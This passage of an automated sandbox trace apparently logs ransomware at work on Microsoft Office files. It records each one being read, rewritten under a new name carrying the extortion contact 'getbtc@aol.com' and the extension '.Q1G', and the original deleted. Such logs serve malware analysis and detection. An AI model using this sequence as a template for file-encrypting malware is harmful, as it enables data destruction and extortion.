Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL") returned 68 [0249.911] lstrlenW (lpString=".doc") returned 4 [0249.911] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0249.911] lstrlenW (lpString=".docx") returned 5 [0249.911] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0249.911] lstrlenW (lpString=".pdf") returned 4 [0249.911] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0249.911] lstrlenW (lpString=".xls") returned 4 [0249.911] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0249.911] lstrlenW (lpString=".xlsx") returned 5 [0249.911] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0249.911] lstrlenW (lpString=".ppt") returned 4 [0249.911] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0249.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL") returned 68 [0249.911] lstrlenW (lpString=".zip") returned 4 [0249.911] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0249.911] lstrlenW (lpString=".rar") returned 4 [0249.912] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0249.912] lstrlenW (lpString=".bz2") returned 4 [0249.912] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0249.912] lstrlenW (lpString=".7z") returned 3 [0249.912] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0249.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL") returned 68 [0249.912] lstrlenW (lpString=".dbf") returned 4 [0249.912] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0249.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL") returned 68 [0249.912] lstrlenW (lpString=".1cd") returned 4 [0249.912] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0249.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL") returned 68 [0249.912] lstrlenW (lpString=".jpg") returned 4 [0249.912] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0249.912] lstrcmpiW (lpString1=".VRD", lpString2=".Q1G") returned 1 [0249.912] lstrlenW (lpString="MOVE.VRD") returned 8 [0249.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\move.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0249.915] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=1420) returned 1 [0249.915] CloseHandle (hObject=0x360) returned 1 [0249.915] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\move.vrd")) returned 0x20 [0249.915] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\move.vrd.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0249.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\move.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0249.915] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.915] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\move.vrd.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0249.916] GetLastError () returned 0x0 [0249.916] ReadFile (in: hFile=0x360, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x58c, lpOverlapped=0x0) returned 1 [0249.926] WriteFile (in: hFile=0x390, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x590, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x590, lpOverlapped=0x0) returned 1 [0249.927] ReadFile (in: hFile=0x360, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0249.927] WriteFile (in: hFile=0x390, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0249.927] SetEndOfFile (hFile=0x390) returned 1 [0249.929] CloseHandle (hObject=0x390) returned 1 [0249.929] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.929] SetEndOfFile (hFile=0x360) returned 1 [0249.931] CloseHandle (hObject=0x360) returned 1 [0249.931] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0249.931] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\move.vrd")) returned 1 [0249.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD") returned 56 [0249.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD") returned 56 [0249.932] lstrlenW (lpString=".doc") returned 4 [0249.932] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0249.932] lstrlenW (lpString=".docx") returned 5 [0249.932] lstrcmpiW (lpString1=".docx", lpString2="E.VRD") returned -1 [0249.932] lstrlenW (lpString=".pdf") returned 4 [0249.932] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0249.932] lstrlenW (lpString=".xls") returned 4 [0249.932] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0249.932] lstrlenW (lpString=".xlsx") returned 5 [0249.932] lstrcmpiW (lpString1=".xlsx", lpString2="E.VRD") returned -1 [0249.932] lstrlenW (lpString=".ppt") returned 4 [0249.932] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0249.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD") returned 56 [0249.932] lstrlenW (lpString=".zip") returned 4 [0249.932] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0249.932] lstrlenW (lpString=".rar") returned 4 [0249.932] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0249.932] lstrlenW (lpString=".bz2") returned 4 [0249.932] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0249.932] lstrlenW (lpString=".7z") returned 3 [0249.932] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0249.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD") returned 56 [0249.932] lstrlenW (lpString=".dbf") returned 4 [0249.932] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0249.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD") returned 56 [0249.932] lstrlenW (lpString=".1cd") returned 4 [0249.932] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0249.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD") returned 56 [0249.932] lstrlenW (lpString=".jpg") returned 4 [0249.932] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0249.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD") returned 56 [0249.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD") returned 56 [0249.933] lstrlenW (lpString=".doc") returned 4 [0249.933] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0249.933] lstrlenW (lpString=".docx") returned 5 [0249.933] lstrcmpiW (lpString1=".docx", lpString2="E.VRD") returned -1 [0249.933] lstrlenW (lpString=".pdf") returned 4 [0249.933] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0249.933] lstrlenW (lpString=".xls") returned 4 [0249.933] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0249.933] lstrlenW (lpString=".xlsx") returned 5 [0249.933] lstrcmpiW (lpString1=".xlsx", lpString2="E.VRD") returned -1 [0249.933] lstrlenW (lpString=".ppt") returned 4 [0249.933] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0249.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD") returned 56 [0249.933] lstrlenW (lpString=".zip") returned 4 [0249.933] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0249.933] lstrlenW (lpString=".rar") returned 4 [0249.933] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0249.933] lstrlenW (lpString=".bz2") returned 4 [0249.933] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0249.933] lstrlenW (lpString=".7z") returned 3 [0249.933] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0249.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD") returned 56 [0249.933] lstrlenW (lpString=".dbf") returned 4 [0249.933] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0249.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD") returned 56 [0249.933] lstrlenW (lpString=".1cd") returned 4 [0249.933] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0249.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD") returned 56 [0249.933] lstrlenW (lpString=".jpg") returned 4 [0249.934] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0249.934] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0249.934] lstrlenW (lpString="MPXRES.DLL") returned 10 [0249.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mpxres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0249.934] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=12664) returned 1 [0249.934] CloseHandle (hObject=0x360) returned 1 [0249.934] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mpxres.dll")) returned 0x20 [0249.934] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mpxres.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0249.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mpxres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL") returned 58 [0249.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL") returned 58 [0249.935] lstrlenW (lpString=".doc") returned 4 [0249.935] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0249.935] lstrlenW (lpString=".docx") returned 5 [0249.935] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0249.935] lstrlenW (lpString=".pdf") returned 4 [0249.935] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0249.935] lstrlenW (lpString=".xls") returned 4 [0249.935] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0249.935] lstrlenW (lpString=".xlsx") returned 5 [0249.935] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0249.935] lstrlenW (lpString=".ppt") returned 4 [0249.935] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0249.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL") returned 58 [0249.935] lstrlenW (lpString=".zip") returned 4 [0249.935] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0249.935] lstrlenW (lpString=".rar") returned 4 [0249.935] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0249.935] lstrlenW (lpString=".bz2") returned 4 [0249.935] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0249.935] lstrlenW (lpString=".7z") returned 3 [0249.935] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0249.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL") returned 58 [0249.935] lstrlenW (lpString=".dbf") returned 4 [0249.935] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0249.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL") returned 58 [0249.935] lstrlenW (lpString=".1cd") returned 4 [0249.935] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0249.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL") returned 58 [0249.935] lstrlenW (lpString=".jpg") returned 4 [0249.935] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0249.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL") returned 58 [0249.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL") returned 58 [0249.935] lstrlenW (lpString=".doc") returned 4 [0249.936] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0249.936] lstrlenW (lpString=".docx") returned 5 [0249.936] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0249.936] lstrlenW (lpString=".pdf") returned 4 [0249.936] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0249.936] lstrlenW (lpString=".xls") returned 4 [0249.936] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0249.936] lstrlenW (lpString=".xlsx") returned 5 [0249.936] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0249.936] lstrlenW (lpString=".ppt") returned 4 [0249.936] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0249.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL") returned 58 [0249.936] lstrlenW (lpString=".zip") returned 4 [0249.936] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0249.936] lstrlenW (lpString=".rar") returned 4 [0249.936] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0249.936] lstrlenW (lpString=".bz2") returned 4 [0249.936] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0249.936] lstrlenW (lpString=".7z") returned 3 [0249.936] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0249.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL") returned 58 [0249.936] lstrlenW (lpString=".dbf") returned 4 [0249.936] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0249.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL") returned 58 [0249.936] lstrlenW (lpString=".1cd") returned 4 [0249.936] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0249.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL") returned 58 [0249.936] lstrlenW (lpString=".jpg") returned 4 [0249.936] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0249.936] lstrcmpiW (lpString1=".HXS", lpString2=".Q1G") returned -1 [0249.936] lstrlenW (lpString="MSACCESS.DEV.HXS") returned 16 [0249.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0249.937] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=10745972) returned 1 [0249.937] CloseHandle (hObject=0x360) returned 1 [0249.937] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev.hxs")) returned 0x20 [0249.937] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev.hxs.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0249.937] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev.hxs.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0249.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS") returned 64 [0249.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS") returned 64 [0249.937] lstrlenW (lpString=".doc") returned 4 [0249.937] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0249.937] lstrlenW (lpString=".docx") returned 5 [0249.937] lstrcmpiW (lpString1=".docx", lpString2="V.HXS") returned -1 [0249.937] lstrlenW (lpString=".pdf") returned 4 [0249.937] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0249.937] lstrlenW (lpString=".xls") returned 4 [0249.937] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0249.938] lstrlenW (lpString=".xlsx") returned 5 [0249.938] lstrcmpiW (lpString1=".xlsx", lpString2="V.HXS") returned -1 [0249.938] lstrlenW (lpString=".ppt") returned 4 [0249.938] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0249.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS") returned 64 [0249.938] lstrlenW (lpString=".zip") returned 4 [0249.938] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0249.938] lstrlenW (lpString=".rar") returned 4 [0249.938] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0249.938] lstrlenW (lpString=".bz2") returned 4 [0249.938] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0249.938] lstrlenW (lpString=".7z") returned 3 [0249.938] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0249.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS") returned 64 [0249.938] lstrlenW (lpString=".dbf") returned 4 [0249.938] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0249.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS") returned 64 [0249.938] lstrlenW (lpString=".1cd") returned 4 [0249.938] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0249.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS") returned 64 [0249.938] lstrlenW (lpString=".jpg") returned 4 [0249.938] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0249.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS") returned 64 [0249.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS") returned 64 [0249.938] lstrlenW (lpString=".doc") returned 4 [0249.938] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0249.938] lstrlenW (lpString=".docx") returned 5 [0249.938] lstrcmpiW (lpString1=".docx", lpString2="V.HXS") returned -1 [0249.938] lstrlenW (lpString=".pdf") returned 4 [0249.938] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0249.938] lstrlenW (lpString=".xls") returned 4 [0249.938] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0249.938] lstrlenW (lpString=".xlsx") returned 5 [0249.938] lstrcmpiW (lpString1=".xlsx", lpString2="V.HXS") returned -1 [0249.938] lstrlenW (lpString=".ppt") returned 4 [0249.938] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0249.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS") returned 64 [0249.939] lstrlenW (lpString=".zip") returned 4 [0249.939] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0249.939] lstrlenW (lpString=".rar") returned 4 [0249.939] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0249.939] lstrlenW (lpString=".bz2") returned 4 [0249.939] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0249.939] lstrlenW (lpString=".7z") returned 3 [0249.939] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0249.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS") returned 64 [0249.939] lstrlenW (lpString=".dbf") returned 4 [0249.939] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0249.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS") returned 64 [0249.939] lstrlenW (lpString=".1cd") returned 4 [0249.939] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0249.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS") returned 64 [0249.939] lstrlenW (lpString=".jpg") returned 4 [0249.939] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0249.939] lstrcmpiW (lpString1=".HXC", lpString2=".Q1G") returned -1 [0249.939] lstrlenW (lpString="MSACCESS.DEV_COL.HXC") returned 20 [0249.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0249.940] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=656) returned 1 [0249.940] CloseHandle (hObject=0x360) returned 1 [0249.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_col.hxc")) returned 0x20 [0249.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_col.hxc.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0249.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0249.940] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.940] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_col.hxc.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0249.941] GetLastError () returned 0x0 [0249.941] ReadFile (in: hFile=0x360, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x290, lpOverlapped=0x0) returned 1 [0249.983] WriteFile (in: hFile=0x390, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x2a0, lpOverlapped=0x0) returned 1 [0249.984] ReadFile (in: hFile=0x360, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0249.984] WriteFile (in: hFile=0x390, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xfc, lpOverlapped=0x0) returned 1 [0249.984] SetEndOfFile (hFile=0x390) returned 1 [0249.984] CloseHandle (hObject=0x390) returned 1 [0249.985] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.985] SetEndOfFile (hFile=0x360) returned 1 [0249.987] CloseHandle (hObject=0x360) returned 1 [0249.987] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0250.058] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_col.hxc")) returned 1 [0250.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC") returned 68 [0250.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC") returned 68 [0250.058] lstrlenW (lpString=".doc") returned 4 [0250.058] lstrcmpiW (lpString1=".doc", lpString2=".HXC") 